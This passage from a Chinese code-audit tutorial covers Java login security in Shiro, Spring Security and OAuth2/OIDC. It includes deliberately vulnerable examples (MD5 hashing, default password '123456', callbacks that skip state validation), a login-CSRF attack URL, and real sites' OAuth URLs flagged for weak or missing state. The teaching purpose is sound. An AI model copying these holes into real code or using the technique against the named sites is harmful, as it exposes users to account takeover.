===== 伪码 ===== // user = userRepository.findByUsername(username) // if user == null: throw UsernameNotFoundException // return org.springframework.security.core.userdetails.User.builder() // .username(user.getUsername()) // .password(user.getPasswordHash()) // 数据库存的是哈希,不是明文 // .roles(user.getRoles()...) // .disabled(!user.isEnabled()) // .accountLocked(user.isLocked()) // .build(); throw new UnsupportedOperationException("replace with real UserDetails lookup"); }; } } **写法二** @Configuration @EnableWebSecurity public class SecurityConfig { @Bean SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { http .authorizeHttpRequests(auth -> auth .requestMatchers("/login", "/error", "/static/**").permitAll() .requestMatchers("/admin/**").hasRole("ADMIN") .anyRequest().authenticated() ) .formLogin(form -> form .loginPage("/login") .loginProcessingUrl("/login") .successHandler(authenticationSuccessHandler()) .failureUrl("/login?error") .permitAll() ) .logout(logout -> logout .logoutUrl("/logout") .logoutSuccessUrl("/login?logout") .invalidateHttpSession(true) .deleteCookies("JSESSIONID") ) .csrf(csrf -> csrf .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) ) .sessionManagement(session -> session .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED) .sessionFixation(fixation -> fixation.migrateSession()) .maximumSessions(1) .maxSessionsPreventsLogin(false) ); return http.build(); } @Bean AuthenticationSuccessHandler authenticationSuccessHandler() { SavedRequestAwareAuthenticationSuccessHandler delegate = new SavedRequestAwareAuthenticationSuccessHandler(); delegate.setDefaultTargetUrl("/home"); return (request, response, authentication) -> { // 这里放你自己的成功后逻辑 delegate.onAuthenticationSuccess(request, response, authentication); }; } } 哪一个正确?——后者更加规范。 一般来说,在 Spring Security 里,自定义 successHandler 要谨慎。 它会替换框架默认的“认证成功后处理逻辑”,最常见影响是覆盖掉默认跳转行为,比如表单登录里基于 SavedRequest 的回跳。 但像 CSRF 校验、OAuth2 的 state / nonce 处理、session fixation 防护,并不主要由 successHandler 负责,通常不会因为替换 successHandler 就自动失效。 因此,除非开发者明确知道自己要接管认证成功后的后续流程,否则不建议直接完全自定义。 更常见、更稳妥的做法有两种: 1. 组合一个 SavedRequestAwareAuthenticationSuccessHandler 作为 delegate, 先执行自己的业务逻辑,再调用 delegate.onAuthenticationSuccess(...), 这样可以保留 Spring Security 默认的成功跳转处理。 2. 继承 SavedRequestAwareAuthenticationSuccessHandler, 在 onAuthenticationSuccess(...) 中加入自己的逻辑, 然后调用 super.onAuthenticationSuccess(...), 从而保留默认的 SavedRequest / defaultTargetUrl 处理。 PS:个人感觉spring security是代码审计里面比较难看的地方。很多东西并不是显示执行的。如果对于spring security并不是很了解,就会出现,很多东西你以为没有做其实做了,很多东西你以为框架帮你做了,实际上被覆盖了没有做。相对而言,开发者也会因为这个原因,容易产生一些误用。 后面我们可能单独以一个小节的形式来讨论spring security。 #### 3.3.3 shiro 一些老项目,特别是Java单体应用会喜欢用这个。其实在springboot体系下应该是不多的。 行业的偏向大概是 - 新项目:更多用 Spring Security - 老项目 / 非 Spring 项目:Shiro 仍然很多 - 微服务 / 前后端分离:JWT + Spring Security 更主流 有点偏题,但是既然讨论到了认证,这个方向我们依旧讨论一下。 首先,我们要理解一下shiro登录的整个流程发生了什么: - 前端把用户名和密码提交到后端 - 后端把它们封装成`AuthenticationToken`,最常见是`UsernamePasswordToken`。 - 拿到当前`Subject`,调用`subject.login(token)`发起认证。 - `SecurityManager`会把这次认证委托给内部的`Authenticator`,再去找合适的`Realm`。 - 能处理这个token的`Realm`会被调用,从数据库、LDAP 或其他数据源里查用户,并返回`AuthenticationInfo`;随后由`CredentialsMatcher`比对“用户提交的凭证”和“系统保存的凭证”是否一致。 - 如果`login`没抛异常,说明认证成功;这时`subject.isAuthenticated()`会返回`true`。 其中通常需要我们自己写的核心代码是放在Realm里面的。Realm……是什么? 按照官方的定义是,一个能够访问应用特定安全数据的组件。通俗来说,就是把你某个指定的数据库,文件系统或者LDAP里面的数据,翻译成Shiro能够理解的格式。 下面给出一个例子 第一段是一个典型的自定义Realm认证代码,可以看出主要做的事情就是在数据库之中查出密码摘要 public class UserRealm extends org.apache.shiro.realm.AuthorizingRealm { private UserService userService; public UserRealm(UserService userService) { this.userService = userService; } // 授权:这里先略,重点看认证 @Override protected org.apache.shiro.authz.AuthorizationInfo doGetAuthorizationInfo( org.apache.shiro.subject.PrincipalCollection principals) { return null; } // 认证:登录时会走这里 @Override protected org.apache.shiro.authc.AuthenticationInfo doGetAuthenticationInfo( org.apache.shiro.authc.AuthenticationToken token) throws org.apache.shiro.authc.AuthenticationException { String username = (String) token.getPrincipal();//把账户名取出来,比如"zhangsan",getCredentials() → 取“密码” // 1. 根据用户名查用户 User user = userService.findByUsername(username); if (user == null) { return null; // Shiro 会当成账号不存在 } // 2. 返回数据库中的“正确凭证” // 第一个参数:主身份信息,可以放用户名/用户对象/用户ID // 第二个参数:数据库里的密码摘要 // 第三个参数:realm 名称 return new org.apache.shiro.authc.SimpleAuthenticationInfo( user, user.getPasswordHash(), getName() ); } } 登录代码大致长整个样子 UsernamePasswordToken token = new UsernamePasswordToken(username, password); Subject currentUser = SecurityUtils.getSubject(); currentUser.login(token); 诶,我们定义的Realm怎么没有被调用?还有验证密码是否正确的地方在哪里? 事实上,这个地方就是Java很多框架喜欢干的一件事,你以为它没有做,其实它悄悄做了。整个调用链其实是这个样子的 Subject.login(token) -> SecurityManager.login(...) -> Authenticator.authenticate(...) -> 找到能处理这个 token 的 Realm -> 调用 Realm 获取 AuthenticationInfo -> 做密码比对(通常是CredentialsMatcher完成的) 其实听起来和一个常规的密码匹配没有什么不同,相对普通手写登录流程的不同点在于,Shiro 会在 login(token) 之后,按照认证器和 Realm 配置,自动找到能处理该 token 的 Realm,并完成后续认证流程;默认多 Realm 策略是 AtLeastOneSuccessfulStrategy,也就是至少一个 Realm 成功就算成功。那么其实,基本的一些注意问题和普通的password认证是差不多的。 比如,你应该用更先进的哈希算法(Argon2,Bcrypt,scrypt)来存储,不要使用md5,sha1(前些年一些平台发生过用md5加密用户密码,然后被脱库全部解密的故事),最好的情况比如可以加盐,加胡椒,这样在最不幸地被人脱库地情况下,对方以难以用现有地彩虹表进行比对快速解密。即具体用什么哈希算法,加不加盐,加不加胡椒,这个是需要你自己设计的。 然后就是日志方面的问题,一些人喜欢logger打万物,或者单纯是开发时为了调试方便后面忘记关了。一般来说,最好只打印某用户登录成功或者失败(的原因),不要把敏感数据,比如说密码打印进去,哈希过后的也不建议。通常,也没有人刻意去写把密码打印到logger里面去,就怕写切面的时候,写自动填充没有注意把密码打进去了。 另一点就是,虽说shiro会有很多失败原因,但是前端最好不要暴露细节,只打一个“用户名或密码不正确”这样会更合理。 另外值得注意的就是,Shiro不天然提供防暴力破解或者CSRF防护。 这意味着,登录接口需要自己额外地去实现放暴力破解(比如在redis里面维护一个登录次数的键值对)。 然后shiro的CSRF防护不是内置的,也就说需要单独自己再去实现一个csrf token。 #### 3.3.4 just password??(仅表单登录,无状态管理) 这种情况,在目前来看,至少不那么“流行”,但是如果说完全不存在其实也不对。仍有一些老系统,或者一些内网系统,工控设备,NAS,路由器,Jenkins……等依旧是这样的。 毕竟它有一个巨大的优点是简单,开发简单,用户理解成本也低,兼容性非常强。而且只要正确使用其实也是安全的。 不过,比起说这种方式“只有 password”,更准确的说法其实是:它不维持登录状态,或者说不做持续的会话状态管理。用户提交一次表单,服务端完成一次校验;一旦退出,或者当前访问结束,下次就需要再次输入用户名和密码重新登录。它强调的是“每次重新证明身份”,而不是“证明一次之后在一段时间内持续信任”。 从某种角度来说,这种模式甚至有它自己的安全直觉。 在一些安全要求非常严格的系统中,“不维持长期登录状态”反而可能是被刻意选择的设计。因为一旦系统不保存持续性的登录态,就意味着攻击者更难通过窃取 Cookie、劫持会话、复用令牌等方式长期冒用用户身份。用户每次重新进入关键操作前都重新认证,看起来麻烦,但在某些高敏感场景下,这种“麻烦”本身就是安全边界的一部分。 这种登录方式的安全基础,确实主要建立在密码体系本身之上,但审计时不能只关注“密码是不是做了哈希存储”,还要连同认证入口周边的一整套保护一起看。 从代码审计的角度,至少要检查以下几点: - 是否使用适合密码场景的哈希算法存储密码,例如 Argon2id、bcrypt、scrypt,而不是 MD5、SHA-1 或单轮通用散列。 - 是否具备防自动化攻击能力,包括限速、失败惩罚、锁定策略、验证码,或其他抗撞库、抗密码喷洒措施。 - 是否避免在日志、审计记录、异常信息和调试输出中泄露密码、口令、重置令牌等敏感数据。 - 是否采用合理的口令策略,例如鼓励更长的密码或口令短语、拒绝弱口令和已泄露口令,而不是只机械强调字符种类复杂度。 - 是否妥善保护 pepper、应用密钥、数据库凭据等秘密信息,避免硬编码在代码或配置文件中。 - 是否强制使用 HTTPS/TLS,避免密码在传输过程中被窃听或篡改。 - 是否存在账号枚举问题,例如通过“账号不存在”和“密码错误”的不同提示,帮助攻击者确认有效用户名。 - 密码重置、找回密码流程是否比正常登录更薄弱(部分小网站,比如一些阅读平台会出现这样的问题)。很多系统登录流程本身做得还可以,但“忘记密码”反而成了整个认证体系里最短的一块木板。 - 高权限账户是否启用了更强的认证措施,例如 MFA、多因素校验,或者至少要求更严格的登录保护。 PS:好消息是,至少登录这部分不需要防范常规的cookie带来的csrf了,因为没有cookie,坏消息是,如果之后系统有步骤依赖浏览器自动会带上的凭证(例如 Cookie、Basic 认证凭据或客户端证书),那后续还是需要防范csrf。 这里给几个例子: ① 使用MD5加密密码。这个通常可以通过函数命名看出来,或者可以去工具类看看 employee.setPassword(DigestUtils.md5DigestAsHex(PasswordConstant.DEFAULT_PASSWORD.getBytes())); ② 使用过于弱的默认密码,在第一次登录之后,没有强制用户进行修改 public class PasswordConstant { public static final String DEFAULT_PASSWORD = "123456"; } ③ 登录接口缺乏爆破防护,易遭受暴力破解与口令枚举攻击 /** * 登录 * * @param employeeLoginDTO * @return */ @Operation(summary = "登录") @Parameters({ @Parameter(name = "employeeLoginDTO", description = "登录信息", required = true) }) @PostMapping("/login") public Result login(@RequestBody EmployeeLoginDTO employeeLoginDTO) { log.info("员工登录:{}", employeeLoginDTO); Employee employee = employeeService.login(employeeLoginDTO); // 登录成功后,生成jwt令牌 Map claims = new HashMap<>(); claims.put(JwtClaimsConstant.EMP_ID, employee.getId()); String token = JwtUtil.createJWT( jwtProperties.getAdminSecretKey(), jwtProperties.getAdminTtl(), claims); EmployeeLoginVO employeeLoginVO = EmployeeLoginVO.builder() .id(employee.getId()) .userName(employee.getUsername()) .name(employee.getName()) .token(token) .build(); return Result.success(employeeLoginVO); } /** * 员工登录 * * @param employeeLoginDTO * @return */ public Employee login(EmployeeLoginDTO employeeLoginDTO) { String username = employeeLoginDTO.getUsername(); String password = employeeLoginDTO.getPassword(); // 1、根据用户名查询数据库中的数据 Employee employee = employeeMapper.getByUsername(username); // 2、处理各种异常情况(用户名不存在、密码不对、账号被锁定) if (employee == null) { // 账号不存在 throw new AccountNotFoundException(MessageConstant.ACCOUNT_NOT_FOUND); } // 密码比对 // 进行md5加密,然后再进行比对 password = DigestUtils.md5DigestAsHex(password.getBytes()); if (!password.equals(employee.getPassword())) { // 密码错误 throw new PasswordErrorException(MessageConstant.PASSWORD_ERROR); } if (employee.getStatus() == StatusConstant.DISABLE) { // 账号被锁定 throw new AccountLockedException(MessageConstant.ACCOUNT_LOCKED); } // 3、返回实体对象 return employee; } 补充一点:和 Shiro 类似,Spring Security 并没有开箱即用、完整内置的防爆破/防刷子系统;它更像是提供了完善的认证架构和扩展点,例如 `AuthenticationProvider`、认证成功/失败事件、`AuthenticationFailureHandler` 等,实际项目里通常需要结合 Redis、网关限流、验证码或 MFA 自行实现登录保护策略。 另外,也不要把希望完全寄托在网关、防火墙或 WAF 上。它们可以拦截一部分高频、低质量的攻击流量,但如果业务层本身没有失败计数、冷却、锁定、二次校验等机制,攻击者仍然可能通过代理池、分布式来源或低频慢速尝试来绕过单纯的边界限流。因此,登录保护最好同时落在入口层和应用层,而不是只依赖外围设施。 #### 3.3.5 OAuth2 / OIDC 另一种非常常见的认证方式,是借助 OAuth2 实现第三方登录。比如,小明要登录网站 A,网站 A 除了支持验证码登录、账号密码登录之外,还支持微信、QQ 等第三方登录。 🤔 **以一个较早、基于 OAuth2 的第三方认证流程为例来分析:** 如果研究这一部分的安全问题,就需要先弄清楚:用户扫一个码,或者点击“允许登录”之后,到底发生了哪些动作? - 小明在网站 A 的客户端页面上,选择“微信登录”,随后跳转到微信的授权页面完成认证与授权(现在通常是手机扫码,或者在电脑端已登录微信时直接点击确认)。 - 微信的授权服务器在用户确认授权后,会把一个`code`(授权码)返回给网站 A 的后端服务器(严格来说,通常不是返回给前端,而是通过浏览器重定向携带给后端)。 - 网站 A 的后端服务器拿着这个`code`,向微信的授权服务器请求兑换`access token`。 - 获得`access token`后,网站 A 的后端服务器便可以访问微信的资源服务器,例如获取小明的昵称、头像、openid 等信息。 - 在一些较早或非标准 OIDC 的实现中,客户端通常会继续通过用户信息接口获取身份信息,并利用 `openid`(用户在当前应用下的唯一身份标识)确认“当前登录的确实是小明”,从而完成第三方身份绑定与登录。 - 接下来,为了维持登录状态,网站 A 通常会再向小明签发自己的登录凭证,例如 Session Cookie 或 JWT。 - 之后,小明继续访问网站 A 的服务时,实际使用的是网站 A 自己签发的 JWT 或 Cookie 进行认证,而不是之前 OAuth 流程中的 code 或 access token。 基于这个原理,我们其实就可以开始分析,OAuth2/OIDC 体系中常见的误用与错误使用方式。 这种分析其实也是有技巧的。很多安全机制出现误用或错误,主要有几个原因: - 不理解安全基础:弱密钥、错误存储不应长期保存的内容(如 code、access_token 等) - 误解组件功能:典型如把“认证”和“授权”混为一谈 - 惰性或省略步骤:例如只接收 token 不验签、不校验有效期等 - 过度自定义或修改规范:不遵循 JWT、OAuth2、OIDC 或 RFC 的既有规范,自行设计安全逻辑 PS:其实成熟的安全机制和密码学是差不多的,很多时候不建议开发人员自己乱来,应该遵守已有的规范,一步不差 然后,我们在代码之中来看看问题怎么发生的。注意严格来说是安全逻辑的问题,因此不会给出全量代码,只会给出关键点。 ##### 第一关:不校验state @RestController @RequestMapping("/auth/wechat") public class WechatCallbackController { @GetMapping("/callback") public Map callback(@RequestParam("code") String code, @RequestParam(value = "state", required = false) String state) { // 错误:完全不校验 state String accessToken = wechatService.exchangeCodeForToken(code); WechatUser user = wechatService.fetchUser(accessToken); String jwt = jwtService.issue(user.getOpenid()); return Map.of("token", jwt); } } 这个`state`是什么东西? 我们观察一下,这是随机选择的几个网站,在点到用微信或者QQ认证时的url,我们发现其中都有state这个参数 https://open.weixin.qq.com/connect/qrconnect?appid=wx8e303c65066b0f92&redirect_uri=http%3A%2F%2Fwww.wh111.com%2Fe%2Fmemberconnect%2Fwxpclogin%2Floginend.php&response_type=code&scope=snsapi_login&state=088c6c064671d292bfb51cb4bcf8376f#wechat_redirect https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=100270989&response_type=code&redirect_uri=https%3A%2F%2Fpassport.csdn.net%2Faccount%2Flogin%3FpcAuthType%3Dqq%26newAuth%3Dtrue%26state%3Dtest https://open.weixin.qq.com/connect/qrconnect?appid=wx92fa7ab65bef7873&redirect_uri=https%3A%2F%2Fwebapi.gongzicp.com%2Findex%2Fredirect%3Fcp_url%3Dhttps%253A%252F%252Fwww.gongzicp.com%252Flogin%252FthirdServiceLogin&response_type=code&scope=snsapi_login&state=cp#wechat_redirect https://open.weixin.qq.com/connect/qrconnect?response_type=code&appid=wxe76f3cc81db632e4&redirect_uri=https%3A%2F%2Fmy.jjwxc.net%2Fbackend%2Flogin%2Fweixin%2Fcallback.php&scope=snsapi_login https://api.weibo.com/oauth2/authorize?response_type=code&client_id=3023520088&redirect_uri=https://gw-c.nowcoder.com/api/sparta/login/oauth/callback/weibo%3Fsource=3&state=9de9765c161c4461949201f1f40b9b24&scope=follow_app_official_microblog### https://open.weixin.qq.com/connect/qrconnect?appid=wxafc256bf83583323&redirect_uri=https%3A%2F%2Fpassport.bilibili.com%2Fpc%2Fpassport%2FsnsLogin%3Fcsrf_state%3Ddec681105d9af51dc3b873ff67f6fdb0%26sns_platform%3Dwechat%26source%3Dmain-fe-header%26go_url%3Dhttps%253A%252F%252Fwww.bilibili.com%252F&response_type=code&scope=snsapi_login&state=authorize#wechat_redirect 具体的作用就是,用户在访问我的网站,请求第三方认证的时候,我的网站生成一个random的state码,存在我的session或者数据库(通常时redis)中,然后微信回调时,会把这个state带回来。然后我验证这个state,证明,嗯这个确实是我这个网站发出的认证请求。 那么不校验state会有什么问题? 比如,当我们已经完成了找授权服务器要授权码code的部分,我们构造这样一个请求,引诱用户去点击 https://victim-app.com/auth/wechat/callback?code=CODE_ATTACKER 这个时候,用户拿着攻击者的授权码,实际上登录了攻击者的账号。如果用户在这个账户上执行一些敏感操作,比如上传某些信息,输入密码等等,会导致 信息泄露、操作滥用、信任破坏。 甚至一些更不严格的情况之下,可以诱导用户,把自己的手机号绑定到攻击者提供的微信号之上。 于是发生了login CSRF / authorization response injection。 那我们接下来讨论两个问题: - 这种CSRF,我们常见的CSRF防护机制是否能够防护? - 我上面提供的三个URL,存在什么问题? ⭐对于第一个问题,一些同学可能会认为,CSRF嘛,其实有很多机制可以防护,比如SameSite Cookie,CSRF Token,Referer/Origin 校验。似乎OAuth2不做校验,问题也不大……? 我们分析一下,上述的机制究竟做了什么,上面的三个机制,其实都是在已经完成了登录的情况下进行防护的。 但是像OAuth2常见下,用户正在完成登录这个动作。 - SameSite Cookie?一方面我还没有登录,一般来说没有认证的那种Cookie,无从携带Cookie。另一方面OAuth2回调请求通常是GET请求,大部分浏览器在 SameSite=Lax 下允许顶级导航 GET 请求携带 cookie。回调本质是 第三方重定向,而非跨站表单提交,因此 SameSite 对防止 OAuth2 CSRF 作用有限。 - 校验CSRF Token?我都没有登录,哪里来的CSRF token? - 校验Referer/Origin ,OAuth2 回调来源是微信授权服务器(如 open.weixin.qq.com)或浏览器不发送 Referer。这不等于传统 CSRF 的“陌生第三方网站”,所以通过 Origin/Referer 校验也无法判断攻击者构造的恶意回调。 于是很遗憾的是,这一个地方不能够通过传统的CSRF防护机制进行防护。只能够利用state进行防护。 ⭐对于第二个问题,当我们理解了上面的原理,你发现哪些url有问题? - 第二条,`state=test`,显然是一个静态或固定值,很显然state作为一个验证功能的字段,不应该是一个可以被猜测和推断,甚至固定下来的静态值。这意味着任何人都可以伪造请求登录。(test,显然是开发测试时为了方便设置的值,竟然被上线了……) - 第三条,同样的问题,固定的`state=cp`。此外,这条 URL 还存在多重重定向,使攻击面进一步放大,增加被滥用的可能性。 - 第四条,就更加优秀了,直接没有`state`参数了,有两种可能,一是自己实现了一个状态认证(比如放在session里面,临时缓存了一个ticket;二是直接就裸奔,没有用`state`。前者不推荐,理论上在实现正确的情况下,也能够安全,但实际上容易实现出问题来。另外,按这个网站的调性,我感觉是后者的可能更大一点。 像这个问题,小站的正确率不是很高,稍微大一点的平台,自身有明确研发部门的平台会好点。平时做登录的时候,可以关注一下这个方面的问题,感受一下。另外不是这一条url会出问题,而是后面回调(callback)会出问题 ##### 第二关:token的管理问题 这个问题本质上仍然属于**安全逻辑设计**的一部分,其中一条主线就是 **token 生命周期与凭证管理**。 在 OAuth 2.0 中,客户端服务器拿授权码 `code` 去授权服务器的 token endpoint 换 token 时,通常会获得 `access_token`,有时还会额外获得 `refresh_token`。其中,`refresh_token` 是否发放是**授权服务器决定的可选能力**,不是客户端自行决定的;如果发放了,客户端就可以在 `access_token` 失效或过期后,再去换取新的 `access_token`。 这些 token 的有效期通常也由授权服务器控制。`access_token` 的生命周期通常会通过 `expires_in` 等字段返回给客户端。生命周期既不能短到频繁掉线、影响可用性,也不能长到失控,增加泄露后的风险窗口。 根据不同的角色,在OAuth2之中代码审计的重点其实也不尽相同 1. 客户端服务器需要关注的安全问题(最为常见的情景) 客户端服务器的核心职责,是**正确使用并妥善保管 token**。 需要关注的点比如: * 正确记录 `access_token` 的过期时间,并在接近过期时决定是否刷新。 * 如果拿到了 `refresh_token`,要支持使用它向授权服务器自动换取新的 `access_token`;如果授权服务器没有提供 `refresh_token`,那么 `access_token` 过期后就只能让用户重新登录。 * 妥善保管 `access_token` 和 `refresh_token`,尤其是 `refresh_token`。因为 bearer token 一旦泄露,持有者即可使用它,OAuth 明确要求此类 token 在**存储和传输中都应避免泄露**。 * 如果授权服务器启用了 **refresh token rotation**,客户端在刷新成功后必须保存新的 `refresh_token`,不能继续使用旧的。当前最佳实践明确推荐对 refresh token 设置过期、失活和轮换机制。 * 尽量不要把 `refresh_token` 直接暴露给前端浏览器,更稳妥的做法通常是由后端安全保存并代管刷新流程。 * 刷新失败时要区分:是 token 真失效、用户撤销授权,还是系统异常;不能把所有失败都粗暴等同为“重新登录”。 2. 授权服务器需要关注的安全问题 授权服务器的职责,是**决定发什么 token、发多久、如何撤销、如何防滥用**。 需要关注的点: * 是否发放 `refresh_token`,以及给什么类型的客户端发放。 * `access_token` 与 `refresh_token` 的生命周期设计。 * 对 `refresh_token` 做绑定、过期、失活控制和轮换,必要时设置 inactivity timeout 和最大存活时间。OAuth 当前最佳实践明确建议 refresh token 应具备过期和失活控制。 * 提供 token revocation 能力,用于撤销 `access_token` 或 `refresh_token`。 * 校验客户端身份,防止 `refresh_token` 被其他客户端冒用。OAuth 2.0 规范要求在可以认证客户端身份时,授权服务器应验证 refresh token 与客户端之间的绑定关系。 3. 资源服务器需要关注的安全问题 资源服务器的职责,是**不要盲信 access token,而要正确验证它当前是否还能用、能访问什么资源**。 需要关注的点: * 验证 token 是否仍然有效,而不是只要拿到字符串就直接放行。 * 验证 token 的权限边界,例如 `scope`、`audience`、`issuer`、过期时间等。 * 对于 opaque token,或者需要更强实时性的场景,可以通过 token introspection 去询问授权服务器当前 token 是否仍为 `active`。RFC 7662 就是为此定义的。 * 资源服务器应只接受 `access_token` 来访问资源,而不应接受 `refresh_token` 直接调用业务接口。 * 如果资源服务器本身也是自家系统的一部分,就必须避免“过期 token 仍然放行”这类典型鉴权错误。 ##### 第三关:没有区分OAuth2提供商 // 发起登录 @GetMapping("/oauth/login/{provider}") public void login(@PathVariable String provider, HttpServletResponse response, HttpSession session) throws IOException { String state = UUID.randomUUID().toString(); // 只保存 state,没有保存“本次授权选的是哪个 provider / issuer” session.setAttribute("oauth_state", state); OAuthClient client = clientRegistry.get(provider); response.sendRedirect(client.buildAuthorizeUrl(state)); } // 统一回调 @GetMapping("/oauth/callback") public Map callback(@RequestParam("code") String code, @RequestParam("state") String state, @RequestParam(value = "provider", required = false) String provider, HttpSession session) { String expectedState = (String) session.getAttribute("oauth_state"); if (!Objects.equals(expectedState, state)) { throw new SecurityException("invalid state"); } // 漏洞点: // 1) 没有从服务端会话中取“本次原本发往哪个 provider / issuer” // 2) 反而信任回调参数里的 provider,或者走默认值 OAuthClient client = clientRegistry.getOrDefault(provider, clientRegistry.get("wechat")); // 结果:code 会被送到“当前选中的” token endpoint, // 而不是“最初发起授权的”那个授权服务器对应的 token endpoint TokenResponse token = client.exchangeCode(code); OAuthUser user = client.fetchUser(token.accessToken()); String jwt = jwtService.issue(user.getSubject()); return Map.of("token", jwt); } 这可能导致的一个问题就是,我们可以拿着wechat的code,去找GitHub换access token,而很显然这个兑换通常会失败,导致无法登录。 那这个问题严重吗? 一般来说,比如我这个网站固定了比如说只允许用QQ,WeChat,微博登录。这种问题,通常只会导致有些时候登录失败。换个说法是,测试工程师应该会先发现这个`bug`。 如果说完全没有安全问题也不一定。 当客户端同时对接多个授权服务器,且其中至少有一个授权服务器恶意、被攻陷,或者客户端接受了攻击者控制的注册/元数据时,未校验 issuer/provider 的实现可能使客户端把授权凭证或后续请求发往错误端点,从而形成真正的 mix-up 安全风险。 但如上面说的样子,这种情况发生的场景非常严苛,罕见。我感觉有些时候,可能会出现在一些自定义的统一认证登录这种场景下。总之不是一个容易发生的攻击。且有可能会先被测开找出来修掉。 这属于,看见了必须要修,但是未必是我们先找到的问题。 🤔 **那OIDC又有什么不同呢?** 我们再来看在OIDC之下小明同学的登录, - 小明在网站 A 的客户端页面上,选择“使用 Google/微信/企业 SSO 登录”,随后跳转到身份提供方(Identity Provider,IdP)的认证页面完成登录与授权。 - 身份提供方完成认证后,会把一个`code`(授权码)返回给网站 A 的回调地址,同时通常还会携带此前生成的 state,用于防止登录 CSRF。 - 网站 A 的后端服务器拿着这个`code`,向身份提供方的token endpoint请求兑换`token`。 - 从这一步开始,一切就有点不同了,OIDC中,服务器不仅会获得`access token`,还会获得`id_token`,有些时候还会获得`refresh_token`。 - 然后网站A会对`id_token`进行验证,验证通过之后,网站A就可以通过`id_token`提供的用户身份来确认当前登录的用户是谁。 - 接下来,网站 A 通常仍会向用户签发自己系统内部的 Session Cookie 或 JWT,用于维持自身业务系统的登录态。 那问题来了`id_token`具体是什么?它通常是一个JWT,会包括 sub:用户唯一身份标识(subject),用于确定需要登录的用户究竟是谁 iss:token签发者(issuer) aud:token 的目标客户端(这个例子中就是A网站,不能拿着签发给A网站的token去登录B网站) exp:过期时间 iat:签发时间 nonce:用于防止重放攻击 那么其实关于id_token,其实和JWT的验证流程就比较相似了。 - 验签:校验 id_token 的签名是否合法,确认内容没有被篡改 - 校验 iat、exp 等时间字段,确认 token 未过期、未失效 - 校验 iss(issuer),确认 token 确实来自预期的身份提供方 - 校验 aud(audience),确认这个 token 的目标客户端确实是自己 - 校验 nonce,防止登录流程中的重放攻击 - 在上述校验全部通过后,客户端才会信任其中的 sub(subject,用户唯一身份标识),并将其视为“当前登录用户”的身份依据 从代码审计的角度看来,这一步需要注意和JWT需要注意的东西,不能够漏掉,具体参见3.3.1 JWT 的部分 那`nonce`究竟是什么呢?这个部分是需要客户端来处理,具体而言: - 客户端需要生成一个高熵的`nonce`参数,随着认证请求发送 - 认证服务提供方,如果收到有`nonce`,则需要在后续发回的`id_token`里面附带上`nonce`。 - 客户端检验`nonce`,需要和自己发出的`nonce`进行对比,看是否匹配。检验通过之后,还需要立即删除或者比较已使用(防止被重放) 下面给出一段在spring security之中的写法 @Configuration @EnableWebSecurity public class SecurityConfig { @Bean public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { http .authorizeHttpRequests(auth -> auth .requestMatchers("/login**", "/oauth2/**", "/error").permitAll() .anyRequest().authenticated() ) .oauth2Login(oauth2 -> oauth2 .loginPage("/login") // 自定义登录页面 .defaultSuccessUrl("/home", true) // 认证成功默认跳转 // 注意:这里完全不设置 .successHandler() // 也不设置 .userInfoEndpoint() 的自定义服务 ) .oauth2ResourceServer(oauth2 -> oauth2 .jwt(jwt -> jwt.jwtAuthenticationConverter(jwtAuthenticationConverter())) ) .csrf(csrf -> csrf.disable()) // 根据实际场景评估 .sessionManagement(session -> session .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED) ); return http.build(); } } 好消息是,Spring Security 会完整保留默认处理链(包括 nonce 校验、UserService 加载、SavedRequest 处理等)。这是否意味着这个地方不需要额外的安全审计了? 坏消息是,那是使用最基础的默认情况的用例。通常情况下,因为业务逻辑的不同,是需要进行一定的自定义的(尤其是.successHandler()),于是会出现覆盖掉框架逻辑的情况,而这个时候如果不进行正确地的继承和补充,就会出现,以为安全了,实际不安全的问题。 错误示例 .oauth2Login(oauth2 -> oauth2 .loginPage("/login") .defaultSuccessUrl("/home", true) // 这行实际被覆盖,无效 .successHandler((req, res, auth) -> { // 【核心错误点】 OidcUser user = (OidcUser) auth.getPrincipal(); saveUserToDatabase(user); // 直接业务操作 res.sendRedirect("/home"); // 直接跳转 }) .failureHandler(customFailureHandler()) ) 在这个例子中,.successHandler 使用 Lambda:完全替换默认处理器,没有继承任何框架实现。后续的安全逻辑就可能会被绕过。 正确的例子 .oauth2Login(oauth2 -> oauth2 .loginPage("/login") .defaultSuccessUrl("/home", true) .userInfoEndpoint(userInfo -> userInfo .oidcUserService(customOidcUserService()) // 优先在这里扩展 ) .successHandler(customOidcSuccessHandler()) // 使用继承方式 .failureHandler(customFailureHandler()) ) @Component public class CustomOidcSuccessHandler extends SavedRequestAwareAuthenticationSuccessHandler { private final UserService userService; public CustomOidcSuccessHandler(UserService userService) { this.userService = userService; setDefaultTargetUrl("/home"); setAlwaysUseDefaultTargetUrl(true); } @Override public void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) throws IOException, ServletException { // 【关键:必须先调用 super,保留框架全部后置逻辑】 super.onAuthenticationSuccess(request, response, authentication); // 再执行自定义业务 OidcUser oidcUser = (OidcUser) authentication.getPrincipal(); userService.saveOrUpdateUser(oidcUser); } } @Bean public OAuth2UserService customOidcUserService() { OidcUserService delegate = new OidcUserService(); return userRequest -> { OidcUser oidcUser = delegate.loadUser(userRequest); // 先走默认(含 nonce 校验) // 安全扩展自定义逻辑 Set authorities = new HashSet<>(oidcUser.getAuthorities()); authorities.add(new SimpleGrantedAuthority("ROLE_USER")); return new DefaultOidcUser(authorities, oidcUser.getIdToken(), oidcUser.getUserInfo()); }; } 为什么这样更安全?逻辑是什么? 因为在 .userInfoEndpoint(userInfo -> userInfo .oidcUserService(customOidcUserService()) // 优先在这里扩展 ) 之中的`customOidcUserService()`通常会先调用`delegate.loadUser(userRequest)`(即 Spring Security 默认的 OidcUserService)。这就确保了 nonce 校验(防止重放攻击)、state 参数验证、Token 完整性检查、UserInfo 获取等 OIDC 协议层面的安全机制在自定义逻辑之前就已经完成。 而后面的`.successHandler(customOidcSuccessHandler()) `,`CustomOidcSuccessHandler `继承了`SavedRequestAwareAuthenticationSuccessHandler`的所有能力,包括 SavedRequest 处理、SecurityContext 持久化、默认重定向逻辑等。并通过super调用来完整执行。它会执行认证成功后的标准化处理,确保 nonce/state 等前面已完成的校验真正“落地”,同时处理 Session、安全上下文和跳转等。 这样一前一后,实际上就完整地继承了spring 